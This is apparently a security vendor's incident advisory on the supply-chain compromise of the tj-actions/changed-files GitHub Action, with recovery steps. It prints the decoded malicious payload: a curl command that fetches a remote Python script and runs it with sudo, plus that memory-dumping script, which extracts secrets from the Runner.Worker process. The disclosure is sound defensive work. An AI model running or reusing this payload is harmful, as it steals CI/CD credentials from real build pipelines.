Introduction
We are actively investigating a critical security incident involving the tj-actions/changed-files GitHub Action. While our investigation is ongoing, we want to alert users so they can take immediate corrective actions. We will keep this post updated as we learn more. StepSecurity Harden-Runner detected this issue through anomaly detection when an unexpected endpoint appeared in the network traffic. If you need any help investigating this issue, please get in touch with us at support@stepsecurity.io
Update 1: It appears that all versions of tj-actions/changed-files are compromised.
Update 2: We have detected multiple public repositories that have leaked secrets in build logs. As these build logs are public, anyone can steal these secrets. If you own public repositories and use this Action, please review the recovery steps immediately.
Summary of the incident
The tj-actions/changed-files GitHub Action, which is currently used in over 23,000 repositories, has been compromised. In this attack, the attackers modified the action’s code and retroactively updated multiple version tags to reference the malicious commit. The compromised Action prints CI/CD secrets in GitHub Actions build logs. If the workflow logs are publicly accessible (such as in public repositories), anyone could potentially read these logs and obtain exposed secrets.
Our Harden-Runner solution flagged this issue when an unexpected endpoint appeared in the workflow’s network traffic. This anomaly was caught by Harden-Runner’s behavior-monitoring capability.
The compromised Action now executes a malicious Python script that dumps CI/CD secrets from the Runner Worker process. Most of the existing Action release tags have been updated to refer to the malicious commit mentioned below. Note: All these tags now point to the same malicious commit hash:0e58ed8671d6b60d0890c21b07f8835ace038e67
, indicating the retroactive compromise of multiple versions.”
$ git tag -l | while read -r tag ; do git show --format="$tag: %H" --no-patch $tag ; done | sort -k2
v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v5: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
@salolivares has identified the malicious commit that introduces the exploit code in the Action.
https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67

The base64 encoded string in the above screenshot contains the exploit code. Here is the base64 decoded version of the code.
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
Here is the content of https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py
#!/usr/bin/env python3
...
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue
StepSecurity Harden-Runner
StepSecurity Harden-Runner secures CI/CD workflows by controlling network access and monitoring activities on GitHub-hosted and self-hosted runners. The name "Harden-Runner" comes from its purpose: strengthening the security of the runners used in GitHub Actions workflows. Harden-Runner community tier is free for open-source projects. In addition, it offers several enterprise features.
Reproducing the Exploit
When this Action is executed with Harden-Runner, you can see the exploit being executed. We reproduced the exploit in a test repository. When the compromised tj-actions/changed-files
action runs, Harden-Runner’s insights clearly show it downloading and executing a malicious Python script that attempts to dump sensitive data from the GitHub Actions runner’s memory. You can see the behavior here:
https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357
To repro this, you can run the following workflow:
name: "tj-action changed-files incident"
on:
pull_request:
branches:
- main
permissions:
pull-requests: read
jobs:
changed_files:
runs-on: ubuntu-latest
name: Test changed-files
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
with:
disable-sudo: true
egress-policy: audit
- uses: actions/checkout@v4
with:
fetch-depth: 0
# Example 1
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v35
- name: List all changed files
run: |
for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
echo "$file was changed"
done
When this workflow is executed, you can see the malicious behavior through Harden-Runner:
https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357


When this workflow runs, you can observe the malicious behavior in the Harden-Runner insights page. The compromised Action downloads and executes a malicious Python script, which attempts to dump sensitive data from the Actions Runner process memory.
Recovery Steps
Review GitHub Actions workflow run logs
You should review logs for the recent executions of the Action and see if it's leaking secrets. Below is an example of how leaked secrets appear in build logs.

This step is especially important for public repositories since their logs are publicly accessible.
Review Harden-Runner Findings
You can see if your workflows have called "gist.githubusercontent.com" by visiting "All Destinations" in your StepSecurity dashboard. This feature is available to both community as well as enterprise tiers. If this endpoint shows up in the list, review the workflow runs that called this endpoint.

Review Actions Inventory
🚨 If you are using any versions of the tj-actions/changed-files Action, we strongly recommend you stop using it immediately until the incident is resolved.
You should do a code search across your repositories to discover all instance of the tj-actions/changed-files Action. For example, the following GitHub search URL shows all instances of this Action in the Action GitHub organization:
https://github.com/search?q=org%3Aactions%20tj-actions%2Fchanged-files%20Action&type=code
Please note that this search does not always return the accurate results.
If you are a StepSecurity enterprise customer, you can use the Actions inventory feature to discover all GitHub Actions workflows that are using the malicious Action version.


Next Steps
We have reported this issue to GitHub and opened an issue in the affected repository:
🔗 GitHub Issue #2463
We will continue to monitor the situation and provide updates as more information becomes available.
For real-time security monitoring and proactive anomaly detection in GitHub Actions workflows, consider using Harden-Runner to detect and mitigate such threats.